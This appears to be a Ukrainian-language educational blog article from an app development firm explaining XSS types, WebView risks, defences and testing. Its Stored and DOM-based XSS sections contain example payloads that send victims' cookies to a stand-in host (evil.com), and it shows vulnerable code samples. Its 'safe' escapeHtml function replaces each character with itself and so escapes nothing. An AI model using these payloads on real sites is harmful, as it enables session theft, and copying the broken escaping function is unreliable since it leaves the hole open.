XSS (Cross-Site Scripting) — тип уразливості веб-додатків, при якій зловмисник впроваджує шкідливий JavaScript-код у контент, що відображається іншим користувачам. За даними OWASP Top Ten (2025), XSS залишається однією з найпоширеніших уразливостей, що зачіпає понад 60% веб-додатків. Міжсайтовий скриптинг дозволяє красти сесійні cookie, перенаправляти користувачів на фішингові сайти та змінювати вміст сторінок у реальному часі.
Головне
XSS (Cross-Site Scripting) — це вразливість, що дозволяє зловмиснику впровадити JavaScript-код у веб-сторінку, який потім виконується в браузері жертви. Браузер завантажує сторінку з довіреного сайту та виконує впроваджений скрипт з тими ж правами, що й легітимний код сайту. Це дає атакуючому доступ до cookie, session storage, DOM-дерева сторінки та можливість надсилати запити від імені жертви. XSS-уразливості виникають, коли додаток вставляє користувацькі дані в HTML-сторінку без належного екранування або валідації.
Вперше термін Cross-Site Scripting з'явився у 2000 році в Microsoft Security Bulletin. За минулі 25 років XSS не втратив актуальності: за даними HackerOne (2025), XSS становить близько 22% усіх зареєстрованих уразливостей на платформі. Причина живучості XSS — складність контролю всіх точок входу користувацьких даних. Будь-яке поле введення, URL-параметр, заголовок HTTP-запиту або ім'я файлу може стати вектором атаки, якщо дані відображаються в HTML-коді без обробки.
XSS-атаки можуть призвести до крадіжки сесійних cookie, що дозволяє зловмиснику увійти в обліковий запис жертви без пароля. Інші наслідки: перенаправлення на фішингові сайти, підміна вмісту сторінки, крадіжка особистих даних, встановлення шкідливого ПЗ (drive-by download). У 2023 році атака через XSS на платформу Salesforce Community Cloud зачепила дані тисяч корпоративних клієнтів, продемонструвавши, що навіть великі платформи не застраховані від цієї вразливості.
Класифікація XSS поділяє атаки на три основних типи за способом доставки шкідливого коду. Кожен тип вимагає різного підходу до захисту: Stored XSS блокується екрануванням виведення з БД, Reflected — екрануванням URL-параметрів, DOM-based — безпечною роботою з DOM-API. Розуміння різниці — основа ефективної стратегії безпеки.
| Тип | Зберігання скрипта | Вектор доставки | Складність виявлення |
|---|---|---|---|
| Stored XSS | База даних сервера | Коментарі, профілі, повідомлення | Середня |
| Reflected XSS | URL-параметри | Фішингові посилання, email | Висока |
| DOM-based XSS | Клієнтський JavaScript | URL-фрагменти, postMessage | Дуже висока |
Найнебезпечніший тип XSS. Зловмисник впроваджує скрипт у дані, які сервер зберігає в базі даних і відображає при кожному завантаженні сторінки. Типовий вектор — поле коментаря: зловмисник публікує коментар із <script>document.location='https://evil.com/?c='+document.cookie</script>. Кожен користувач, який завантажив сторінку з цим коментарем, надсилає свої cookie зловмиснику. Stored XSS не вимагає від жертви жодних дій, окрім відвідування сторінки — це робить його особливо небезпечним для соціальних мереж, форумів і блогів.
Шкідливий скрипт передається в HTTP-запиті (зазвичай в URL-параметрі) і одразу відображається сервером у відповіді. Зловмисник створює посилання виду https://example.com/search?q=<script>...</script> і поширює його через фішинг, соціальні мережі або email. Жертва, перейшовши за посиланням, отримує сторінку, де введений пошуковий запит (скрипт) відображається без екранування. Reflected XSS вимагає соціальної інженерії — жертва повинна клікнути на посилання, що знижує, але не усуває ризик.
На відміну від Stored та Reflected, DOM-based XSS не вимагає надсилання даних на сервер. Уразливість виникає, коли клієнтський JavaScript вставляє користувацькі дані з URL, document.referrer, postMessage або localStorage в DOM без безпечної обробки. Наприклад, код виду document.getElementById('output').innerHTML = location.hash.substring(1) виконує будь-який HTML і скрипти з URL-фрагмента (#<img onerror='...'>). DOM-based XSS найскладніше виявити, оскільки сервер ніколи не отримує шкідливий payload — він повністю обробляється на клієнті.
// Приклад DOM-based XSS (УРАЗЛИВИЙ КОД)
// Якщо userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — небезпечний: вставляє сирий HTML
document.write('<div>' + userInput + '</div>');
// БЕЗПЕЧНА АЛЬТЕРНАТИВА — використовуйте textContent
document.getElementById('output').textContent = userInput;
XSS-атака експлуатує фундаментальну властивість вебу: браузер виконує JavaScript, отриманий з довіреного домену. Якщо зловмисник знаходить спосіб впровадити свій код у HTML-відповідь сервера, браузер виконує його з тими ж привілеями, що й легітимний код. Атака проходить три фази: впровадження шкідливого коду в контент, доставка контенту в браузер жертви та виконання коду з доступом до DOM, cookie та storage.
Зловмисник знаходить точку входу — поле, URL-параметр або заголовок, значення якого сервер включає в HTML-відповідь без екранування. Типові точки входу: пошукові рядки, поля коментарів, ім'я користувача, аватар URL, файли cookie, HTTP-заголовки (User-Agent, Referer). Сучасні фреймворки (React, Angular, Vue) автоматично екранують виведення, але розробники можуть вимкнути екранування через dangerouslySetInnerHTML, bypassSecurityTrustHtml або v-html.
Для Reflected XSS зловмисник поширює шкідливе посилання. Для Stored XSS достатньо опублікувати контент на цільовому сайті, і кожен відвідувач сторінки стає жертвою. DOM-based XSS активується при завантаженні сторінки з певним URL-фрагментом. Всі три фази можуть виконуватися автоматично: якщо XSS виявлено в рекламному банері (сторонній контент), атака зачепить усіх користувачів сайту, поки банер не вимкнуть.
// Приклад Reflected XSS у пошуку (УРАЗЛИВИЙ БЕКЕНД)
// Замість екранування параметра q, сервер вставляє його в HTML
// Express.js — уразливий обробник:
app.get('/search', (req, res) => {
const query = req.query.q; // користувацьке введення
res.send(`<h1>Results for: ${query}</h1>`);
});
// БЕЗПЕЧНА ВЕРСІЯ — екранування через encodeURI або шаблонізатор:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Мобільні додатки також піддаються XSS-атакам, хоча й меншою мірою, ніж веб-сайти. Основний вектор — WebView та гібридні фреймворки (Cordova, Capacitor, React Native з WebView). Якщо додаток завантажує веб-контент у WebView — особливо користувацький контент (HTML-email, статті, повідомлення) — XSS-уразливість може призвести до виконання JavaScript всередині додатка з доступом до нативних функцій через JavaScript-міст.
Android WebView виконує JavaScript за замовчуванням. Якщо додаток завантажує HTML-рядок через loadDataWithBaseURL() або відображає користувацький контент, XSS-атака може дати зловмиснику доступ до JavaScript-інтерфейсу (addJavascriptInterface). Google заборонив використання @JavascriptInterface для API < 17, але legacy-код у старих додатках все ще зустрічається. Захист: вимикайте JavaScript у WebView, якщо він не потрібен, і використовуйте safe browsing.
React Native не використовує WebView для UI — компоненти рендеряться в нативні в'ю. Однак при відображенні HTML через react-native-webview або rich-text компоненти XSS-ризик повертається. Flutter використовує власний двигун рендерингу (Skia) і не підтримує JavaScript у HTML-віджетах (flutter_html не виконує script-теги), але WebView-плагіни (webview_flutter) вразливі аналогічно нативним WebView. Найкраща практика — ніколи не передавати неперевірений HTML у WebView.
// Безпечне налаштування WebView в Android
val webView = findViewById<WebView>(R.id.webview)
// Вимкаємо JavaScript, якщо інтерактив не потрібен
webView.settings.javaScriptEnabled = false
// Санітуємо HTML перед завантаженням
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Захист від XSS будується на трьох принципах: не довіряй користувацькому введенню, екрануй перед виведенням, використовуй Content Security Policy. Екранування виведення (output encoding) — найважливіший метод: всі дані, отримані від користувача, повинні екрануватися перед вставкою в HTML, JavaScript, CSS або URL. Сучасні шаблонізатори (Twig, Handlebars, JSX, Blade) роблять це автоматично, якщо розробник не вимикає екранування спеціальними методами.
Екранування залежить від контексту вставки даних. У HTML-контексті екрануються <, >, &, лапки. У JavaScript-контексті екрануються зворотні лапки,
, </script>. У CSS-контексті — керуючі символи. У URL-контексті — URL-encoding. Помилка контексту — наприклад, вставка HTML-екранованого рядка в атрибут onclick — не захищає від XSS, оскільки onclick виконується в JavaScript-контексті, де потрібне інше екранування.
CSP — HTTP-заголовок, що обмежує джерела, з яких браузер може завантажувати скрипти, стилі та інші ресурси. Сувора CSP (без unsafe-inline, без unsafe-eval) блокує виконання будь-яких inline-скриптів, включаючи XSS-вектори. За даними Google Security Blog (2025), сайти з CSP блокують 95% XSS-атак. Приклад: Content-Security-Policy: default-src 'self'; script-src 'self' забороняє будь-які зовнішні та inline-скрипти. CSP не захищає від Stored XSS, якщо скрипт завантажується з того ж домену, але це вимагає додаткових зусиль від зловмисника.
Встановлення прапорця HttpOnly для cookie запобігає доступу до них через JavaScript (document.cookie), що блокує крадіжку сесійних cookie через XSS. Прапорець Secure гарантує, що cookie передається тільки через HTTPS. Комбінація HttpOnly + Secure + SameSite=Lax робить крадіжку сесійних cookie через XSS практично неможливою. Однак XSS все ще може виконувати дії від імені користувача (наприклад, надсилати запити), тому HttpOnly — не панацея, а частина комплексного захисту.
| Метод захисту | Від яких типів XSS захищає | Ефективність |
|---|---|---|
| Екранування виведення | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| HttpOnly cookie | Крадіжка сесій через XSS | 100% (не читаються) |
| Валідація введення | Stored, Reflected | 50% (залежить від типу) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Регулярне тестування на XSS — обов'язкова частина CI/CD пайплайну безпечної розробки. Автоматизовані сканери знаходять до 80% XSS-уразливостей, решта вимагають ручного пентесту. Найкращий підхід — комбінація SAST-аналізу (статичного), DAST-сканування (динамічного) та code review з фокусом на точки введення користувацьких даних.
Для мобільних додатків тестування XSS включає аналіз WebView: перевірку JavaScript-інтерфейсів, обробку URL-схем та передачу HTML у loadDataWithBaseURL. Рекомендується також тестувати обробку postMessage у гібридних додатках та перевіряти, які дані передаються через JavaScript-міст. Використовуйте емулятор з проксі (Burp Suite) для перехоплення та модифікації трафіку мобільного додатка.
Часті запитання
Stored XSS зберігає шкідливий скрипт на сервері (у БД) і спрацьовує при будь-якому завантаженні сторінки. Reflected XSS передає скрипт через URL-параметр, і атака спрацьовує тільки при переході за шкідливим посиланням. Stored небезпечніший, оскільки не вимагає дій жертви — достатньо просто відкрити заражену сторінку.
Ні, HTTPS не захищає від XSS. HTTPS шифрує трафік між браузером і сервером, але не впливає на обробку користувацького введення на серверній стороні. XSS-уразливість існує на рівні додатка, а не транспорту. HTTPS — обов'язковий мінімум безпеки, але не захист від XSS.
У більшості випадків XSS виконується в пісочниці браузера або WebView і не має доступу до файлової системи чи обладнання пристрою. Однак в Android WebView з увімкненим JavaScript-інтерфейсом XSS-скрипт може викликати нативні методи додатка. В iOS WKWebView також може розкрити дані через JavaScriptCore, якщо налаштовано відповідний міст.
Використовуйте Burp Suite або OWASP ZAP з налаштованим проксі на мобільному пристрої. Перехоплюйте запити додатка, модифікуйте параметри та передавайте XSS-payloads. Перевіряйте WebView на обробку HTML через loadDataWithBaseURL та наявність JavaScript-містків. Для React Native тестуйте WebView-компоненти окремо.
DOM-based XSS — це атака, при якій JavaScript на сторінці сам бере дані з URL або інших джерел і вставляє їх у HTML без перевірки. Сервер не бере участі — шкідливий код обробляється повністю в браузері. Типовий приклад: сайт бере текст із location.hash і вставляє його через innerHTML, що дозволяє виконати будь-який HTML-код.
Підсумки
Ми розробимо мобільний застосунок під ключ
IT Sectr створює застосунки для iOS та Android для стартапів і бізнесу з 2017 року. Ми проконсультуємо вас і запропонуємо найкраще рішення.
Читайте також